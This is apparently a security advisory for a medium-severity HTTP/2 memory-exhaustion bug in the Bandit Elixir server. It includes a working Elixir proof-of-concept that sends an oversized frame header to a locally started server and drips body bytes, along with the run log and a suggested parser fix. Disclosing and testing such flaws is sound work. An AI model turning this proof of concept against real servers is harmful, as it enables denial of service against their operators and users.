CVE-2026-42788 — bandit

Summary

Bandit's HTTP/2 parser checks frame size after it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.

Details

In lib/bandit/http2/frame.ex:23-65, every clause that could detect an oversized frame requires payload::binary-size(length) to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns {:more, msg} and the connection layer keeps reading. So the cap fires only after the violation is complete.

The frame type and stream id don't matter; the parser never gets that far.

PoC

The script is at the end. It:

1. Opens an h2c connection to a Bandit server it starts itself.
2. Sends a 9-byte frame header announcing length = 0xFFFFFF (~16 MiB).
3. Polls for GOAWAY(FRAME_SIZE_ERROR). If silent, drips body bytes in 64 KiB chunks.

A patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.

Suggested fix

Add a header-only clause that rejects on the length field alone, e.g. def deserialize(<<length::24, _::binary>> = msg, max_frame_size) when length > max_frame_size, do: {{:error, frame_size_error(), "..."}, drop_frame_or_close(msg)}, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.

Impact

Any Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated max_frame_size should allow. No code execution, no data disclosure — pure resource exhaustion.

Fix: add a header-only clause that rejects on length > max_frame_size as soon as the 9 header bytes arrive, before the body-bearing clauses.

# Bandit HTTP/2 oversized-frame late-check PoC.
#
# RFC 9113 §6.5.2 sets the default SETTINGS_MAX_FRAME_SIZE to 16384.
# Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this
# limit *after* matching `payload::binary-size(length)` in the frame
# pattern. When the announced length exceeds what the buffer holds,
# none of the body-bearing clauses match and `deserialize/2` returns
# `{:more, msg}`, telling the caller to keep buffering. The oversize
# error in the "valid shape, length > max_frame_size" clause therefore
# fires only *after* the entire announced body has been received —
# letting a peer trickle up to ~16 MiB per frame (the 24-bit length
# field maximum) into the server before the cap engages, well past
# the 16 KiB the server agreed to.
#
# This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips
# body bytes in 64 KiB chunks, and after each chunk does a brief
# non-blocking recv to see if the server has reacted. A patched server
# should send GOAWAY(FRAME_SIZE_ERROR) within the first chunk (header
# alone is enough). A vulnerable server keeps silently accepting up
# to the full 16 MiB.
#
# We use a SETTINGS frame (type=0x4, stream_id=0) for the abusive
# header — the parser never reaches dispatch (it's stuck buffering
# body), so the type and stream id are immaterial to the bug.
#
# Run: elixir scripts/bandit/http2_frame_size_late_check.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule NoopApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts), do: Plug.Conn.send_resp(conn, 200, "ok\n")
end

defmodule FrameSizeLateCheck do
  @port 4321
  @connection_preface "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

  @type_settings 0x4
  @type_goaway 0x7
  @flag_settings_ack 0x1

  @max_24_bit 0xFFFFFF
  @drip_chunk_size 64 * 1024
  @max_total_drip 4 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} =
      :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false, nodelay: true])

    advertised_max_frame_size = handshake!(sock)
    log("Handshake complete. Server advertised max_frame_size=#{advertised_max_frame_size}.")

    abusive_header =
      frame_header(@max_24_bit, @type_settings, 0, 0)

    log(
      "Sending oversized SETTINGS header: length=#{@max_24_bit} " <>
        "(#{div(@max_24_bit, 1024 * 1024)} MiB) vs cap #{advertised_max_frame_size}."
    )

    :ok = :gen_tcp.send(sock, abusive_header)

    case poll_for_reaction(sock, 200) do
      {:goaway, error_code} ->
        log("Server sent GOAWAY on header alone: error_code=#{error_code} — patched.")
        finish(sock)

      :silent ->
        log("Server silent after header. Beginning body drip…")
        drip_loop(sock, 0)
    end
  end

  defp drip_loop(sock, total_sent) when total_sent >= @max_total_drip do
    log(
      "Drip cap reached: #{total_sent} bytes accepted with no server reaction. " <>
        "Server is buffering an oversized frame body well past max_frame_size."
    )

    finish(sock)
  end

  defp drip_loop(sock, total_sent) do
    chunk = :binary.copy(<<0>>, @drip_chunk_size)

    case :gen_tcp.send(sock, chunk) do
      :ok ->
        new_total = total_sent + @drip_chunk_size

        case poll_for_reaction(sock, 50) do
          {:goaway, error_code} ->
            log(
              "After #{new_total} body bytes (#{div(new_total, 1024)} KiB) the server " <>
                "sent GOAWAY: error_code=#{error_code}."
            )

            finish(sock)

          :silent ->
            if rem(new_total, 512 * 1024) == 0 do
              log("Dripped #{div(new_total, 1024)} KiB so far, no reaction.")
            end

            drip_loop(sock, new_total)
        end

      {:error, reason} ->
        log("Send failed at total=#{total_sent}: #{inspect(reason)}.")
        finish(sock)
    end
  end

  defp poll_for_reaction(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 9, timeout_ms) do
      {:ok, <<length::24, type::8, _flags::8, _r::1, _stream_id::31>>} ->
        case recv_payload(sock, length, timeout_ms) do
          {:ok, payload} when type == @type_goaway ->
            <<_last_id::32, error_code::32, _debug::binary>> = payload
            {:goaway, error_code}

          {:ok, _} ->
            :silent

          {:error, _} ->
            :silent
        end

      {:error, :timeout} ->
        :silent

      {:error, :closed} ->
        {:goaway, :connection_closed_without_goaway}
    end
  end

  defp finish(sock), do: :gen_tcp.close(sock)

  # --- HTTP/2 handshake helpers ------------------------------------------

  defp handshake!(sock) do
    :ok = :gen_tcp.send(sock, @connection_preface)
    :ok = :gen_tcp.send(sock, build_settings_frame(<<>>))

    {:ok, server_settings_frame} = recv_full_frame(sock, 5_000)
    @type_settings = server_settings_frame.type
    advertised_max_frame_size = parse_max_frame_size(server_settings_frame.payload)

    :ok = :gen_tcp.send(sock, build_settings_frame(<<>>, @flag_settings_ack))

    _ = drain(sock, 100)
    advertised_max_frame_size
  end

  # SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries.
  # SETTINGS_MAX_FRAME_SIZE has id=0x5; default per RFC 9113 is 16384.
  defp parse_max_frame_size(payload), do: parse_max_frame_size(payload, 16384)
  defp parse_max_frame_size(<<>>, current_value), do: current_value

  defp parse_max_frame_size(<<0x5::16, value::32, rest::binary>>, _current) do
    parse_max_frame_size(rest, value)
  end

  defp parse_max_frame_size(<<_id::16, _value::32, rest::binary>>, current) do
    parse_max_frame_size(rest, current)
  end

  defp build_settings_frame(payload, flags \\ 0) do
    frame_header(byte_size(payload), @type_settings, flags, 0) <> payload
  end

  defp frame_header(length, type, flags, stream_id) do
    <<length::24, type::8, flags::8, 0::1, stream_id::31>>
  end

  defp recv_full_frame(sock, timeout_ms) do
    with {:ok, <<length::24, type::8, flags::8, _r::1, stream_id::31>>} <-
           :gen_tcp.recv(sock, 9, timeout_ms),
         {:ok, payload} <- recv_payload(sock, length, timeout_ms) do
      {:ok, %{length: length, type: type, flags: flags, stream_id: stream_id, payload: payload}}
    end
  end

  defp recv_payload(_sock, 0, _timeout_ms), do: {:ok, <<>>}
  defp recv_payload(sock, length, timeout_ms), do: :gen_tcp.recv(sock, length, timeout_ms)

  defp drain(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 0, timeout_ms) do
      {:ok, bytes} -> bytes <> drain(sock, timeout_ms)
      {:error, _} -> <<>>
    end
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

FrameSizeLateCheck.run()

17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[15:23:19.242] Handshake complete. Server advertised max_frame_size=16384.
[15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap 16384.
[15:23:19.444] Server silent after header. Beginning body drip…
[15:23:19.857] Dripped 512 KiB so far, no reaction.
[15:23:20.265] Dripped 1024 KiB so far, no reaction.
[15:23:20.676] Dripped 1536 KiB so far, no reaction.
[15:23:21.094] Dripped 2048 KiB so far, no reaction.
[15:23:21.511] Dripped 2560 KiB so far, no reaction.
[15:23:21.925] Dripped 3072 KiB so far, no reaction.
[15:23:22.340] Dripped 3584 KiB so far, no reaction.
[15:23:22.749] Dripped 4096 KiB so far, no reaction.
[15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction. Server is buffering an oversized frame body well past max_frame_size.